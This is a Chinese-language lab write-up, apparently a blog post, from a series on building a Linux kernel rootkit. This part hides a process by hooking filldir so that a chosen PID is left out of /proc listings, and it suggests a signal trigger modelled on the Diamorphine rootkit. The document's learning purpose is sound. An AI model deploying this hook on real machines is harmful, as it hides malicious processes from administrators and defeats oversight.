衣带渐宽终不悔,为伊消得人憔悴。

实验说明

本次实验将初步实现rootkit的基本功能:

  • 阻止其他内核模块加载
  • 提供root后门
  • 隐藏文件
  • 隐藏进程
  • 隐藏端口
  • 隐藏内核模块

本次实验基于01实验中学习的挂钩技术。

注:由于本次实验内容过多,故分为0005六个实验报告分别讲解。

本节实现“隐藏进程”功能

实验环境

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

GCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。

注:后面实验参考的是4.10.10的源码

实验过程

隐藏进程

“Linux上纯用户态枚举并获取进程信息,/proc是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc下面的目录,这样用户态能枚举出来进程就在我们的控制下了。”

我们只需要把fake_filldir修改一下,改为匹配进程号即可:

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned d_type)
{
    char *endp;
    long pid;

    // 把字符串变成长整数。
    pid = simple_strtol(name, &endp, 10);

    if (pid == SECRET_PROC) {
        // 是我们需要隐藏的进程,直接返回。
        printk("Hiding pid: %ld", pid);
        return 0;
    }
    // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
    return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

测试结果如下:

图片中一个 shell 的PID3033。在没有加载模块之前,ps可以看到该进程。在加载模块之后,ps中无该进程:

卸载模块后,进程重新在ps中出现:

实验问题

【问题一】

本实验中,我们是把进程号写死在代码里,这样十分不方便。很明显,在实际渗透过程中,我们需要隐藏的进程的进程号只有在运行时才知道。一种可以借鉴的改进思路是:新设定一个信号,模块运行时,我们给哪个进程发该信号,那个进程就被隐藏起来。这是 m0nad/Diamorphine 这个rootkit的设计。未来我会写一篇文章专门分析这个 rootkit,它的其他思路也是很有意思的。